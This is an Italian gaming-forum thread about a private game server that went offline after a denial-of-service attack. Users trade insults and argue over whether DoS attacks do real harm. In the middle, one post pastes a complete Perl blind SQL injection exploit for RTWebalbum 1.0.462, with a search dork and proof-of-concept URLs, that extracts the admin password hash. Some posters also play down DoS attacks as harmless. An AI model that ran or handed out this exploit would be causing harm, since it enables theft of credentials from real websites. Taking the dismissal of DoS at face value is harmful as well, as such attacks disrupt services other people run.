Heisenberg™
Utente Emerald
Profondo disprezzo per il BM che ha dossato uno dei migliori (se non il migliore) hamachi del momento.
Follow along with the video below to see how to install our site as a web app on your home screen.
Nota: This feature may not be available in some browsers.
raga server chiuso. Grazie a quelli che hanno dossato l'host ha deciso di chiudere tutto, ed il lagg era diventato insostenibile.
raga server chiuso. Grazie a quelli che hanno dossato l'host ha deciso di chiudere tutto, ed il lagg era diventato insostenibile.
Dominator lasciali perdere.. anche se gli do l'exploit per mysql loro non se ne farebbero nientee pensare che xordas voleva solo avvisare che avete scarze protezioni e invece voi lo attaccate
#!/usr/bin/perl
#-----------------------------------------------------------------
#BLIND SQL INJECTION (GET var 'AlbumID')--RTWebalbum 1.0.462-->
#-----------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://rtwebalbum.x12.pl/
#-->DOWNLOAD: http://sourceforge.net/projects/rtwebalbum/
#-->DEMO: http://rtwebalbum.x12.pl/
#-->CATEGORY: CMS / Image Gallery
#-->DESCRIPTION: Free web album scripts in PHP. Include administration panel to easy
# manage content of album. If you decide to use this web...
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: "2007 Rafal Kucharski"
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#-->AFFECT VERSION: v1.0.462 (maybe <= ?)
#-->Discovered Bug date: 2009-05-04
#-->Reported Bug date: 2009-05-04
#-->Fixed bug date: 2009-05-06
#-->Info patch (1.0.574): http://sourceforge.net/projects/rtwebalbum
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#-----------
#BUG FILES:
#-----------
#
#Path --> [HOME_PATH]/index.php
#It contents:
# ...
#
# if (!isset($_GET['AlbumId'])) {
# $AlbumId = 0;
# } else {
# $AlbumId = $_GET['AlbumId'];
# }
#
# ...
#
#
#if ($AlbumId <> 0){
#
# $picArr = array();
# $query = "SELECT * FROM pictures WHERE AlbumID=".$AlbumId." order by ID";
# $result=mysql_query($query);
#
# ...
#}
#------------
#CONDITIONS:
#------------
#
#
#**Exist a valid image with title
#
#**gpc_magic_quotes=off/on
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=1%23 --> title is displayed (true)
#
#http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=0%23 --> title is not displayed (false)
#
#
#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k ... ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: SPANISH H4ck3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit");
system ("color 03");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(GET => $_[0]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "\n\t[XxX] RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit\n";
print "\t[XxX] USAGE MODE: [XxX]\n";
print "\t[XxX] perl $0 [HOST] [PATH] [AlbumID]\n";
print "\t[XxX] [HOST]: Web.\n";
print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";
print "\t[XxX] [AlbumID]: Valid AlbumID.\n";
print "\t[XxX] Example: perl $0 'www.example.es' 'rtwebalbum' '1'\n";
}
sub error {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS NOT VULNERABLE!\n";
print "\tMaybe --> \n";
print "\t1.-Patched\n";
print "\t2.-AlbumID doesn't exist\n";
print "\t3.-AlbumID hasn't available image\n";
print "\t4.-output needs more characters\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS VULNERABLE!\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit...\n";
print "\t-----------------------------------------------------------------\n";
}
sub password {
#Finally password...md5= 32-digits
$k=1;
$z=48;
while(($k<=32) && ($z<=126)){
my $blindsql=$_[0].'+AND+ascii(substring((SELECT+password+FROM+config),'.$k
.',1))='.$z.'%23';
$output=&request($blindsql);
if ( $output =~ (/\<div id=\"descrp\">([a-zA-Z0-9\s]+)\<\/div\>/))
{
$pass=$pass.chr($z);
$k++;
$z=47;
}
if($z==57)
{
$z=96;
}
#new char
$z++;
}
return $pass;
}
#Main
&lw;
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
print "\t\t## RTWebalbum v1.0.462 - BLIND SQL Injection Exploit ##\n\n";
print "\t\t## Author: Y3nh4ck3r ##\n\n";
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t\t## Proud to be Spanish! ##\n\n";
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $AlbumID=$ARGV[2];
#Build the uri
if($path eq "no-path"){
$finalhost="http://".$host."/index.php?AlbumId=".$AlbumID;
}else{
$finalhost="http://".$host."/".$path."/index.php?AlbumId=".$AlbumID;
}
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=2)
{
&helper;
exit(1);
}
$finalrequest = $finalhost;
#Testing blind sql injection
$blindsql=$finalrequest."+AND+1=1%23"; #blind sql injection
$output=&request($blindsql);
if ( $output =~ (/\<div id=\"descrp\">([a-zA-Z0-9\s]+)\<\/div\>/))
{
#blind sql injection is available
&testedblindsql;
}else{
#Not injectable
&error;
exit(1);
}
#Bruteforcing password...
$passhash=&password($finalrequest);
print "\n\t\t*************************************************\n";
print "\t\t**** EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin: admin (always)\n";
print "\t\tAdmin-password(md5 hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done
Lo sai quanto ti sto cagando in questo momento?dagli na mano a riaprirlo con le protezioni adeguate, era proprio un bel server. Un grazie va anche al bm Xordas che essendo un fallito in real va a distruggere il lavoro degli altri dietro un pc, fallito. Va a guardarti naruto così ti bruci anche l'ultimo neurone che ti è rimasto.
Ma tu guardi solo la prima e l'ultima pagina prima di entrare?bello il 24h su 24 ! , bellissimo ! ma raga, ora sono le 25 ? le 26 forse ! perchè mi sa che non è tanto on
è stato attaccato da bm hacker... Forse riapre...Dossare non significa attaccare il ddos vale solo quando è attivo e non fa danni d alcun genere al server, quindi è il gf che inventa scuse per non aprire.Ma tu guardi solo la prima e l'ultima pagina prima di entrare?è stato attaccato da bm hacker... Forse riapre...



guarda non rispondo perchè non voglio sprecare altro tempo con questi bambini di prima elementare
- - - Updated - - -
e non ho mai detto che sono hacker o voglio diventarlo
- - - Updated - - -
hai una testolina..? usala ogni tanto magari, non solo per ragionare sui bonus migliori per una hawang acquatica rossa
ti ho detto che se per ora è off non è per colpa mia dato che i dos non fanno danno al server ma lo mandano off quando sono attivi.. se per ora è off è per colpa del gf non mia
e comunque prima di dare giudizi su una persona prima conoscila poi puoi dire quello che vuoi,
continua cosi che andrai avanti nella vita...
uno che vuole avvisare un gf che il suo server non ha protezione ,non fa' quello che ha fatto xordas ,ti dico quello che andava fatto caro dominator:1) messaggio privato,2)non entrare nel database del server,3)non fare il sapientone nel postare tramite screen il tentativo o l'attakko doos .Quindi non difenderlo solamente perche' hai giocato nei suoi fantastici "devo ammetterlo"! hamachi ,no caro xordas questo non si fa' da te' non me lo sarei aspettato.e pensare che xordas voleva solo avvisare che avete scarze protezioni e invece voi lo attaccate
Amico alla tua età non si deve bere troppo la sera e mi riferisco anche alla cose che hai scritto prima.ti ho detto che se per ora è off non è per colpa mia dato che i dos non fanno danno al server ma lo mandano off quando sono attivi.. se per ora è off è per colpa del gf non mia
e comunque prima di dare giudizi su una persona prima conoscila poi puoi dire quello che vuoi,
continua cosi che andrai avanti nella vita...

uno che vuole avvisare un gf che il suo server non ha protezione ,non fa' quello che ha fatto xordas ,ti dico quello che andava fatto caro dominator:1) messaggio privato,2)non entrare nel database del server,3)non fare il sapientone nel postare tramite screen il tentativo o l'attakko doos .Quindi non difenderlo solamente perche' hai giocato nei suoi fantastici "devo ammetterlo"! hamachi ,no caro xordas questo non si fa' da te' non me lo sarei aspettato.
Concordo in pieno, se voleva avvisarli che le protezioni facevano schifo, ha scelto il modo più meschino.
Invece di dargli un consiglio, e aiutarli che fa? Li finisce di azzoppare, e questo dovrebbe essere un favore? Ma non diciamo cazzate.


oddio basta ahahahaha basta ahahuahuauh uno più leccaculo dell'altro ahahahahah![]()
Di certo essere più scemi (per non dire altro) di te è difficile.
non serve non ti tocco più puoi riaprire anche ora se non l'hai capitoraga invece di scannarvi in chat, perchè quel che è fatto ormai è fatto, aiutatemi a trovare sto hoster >.<
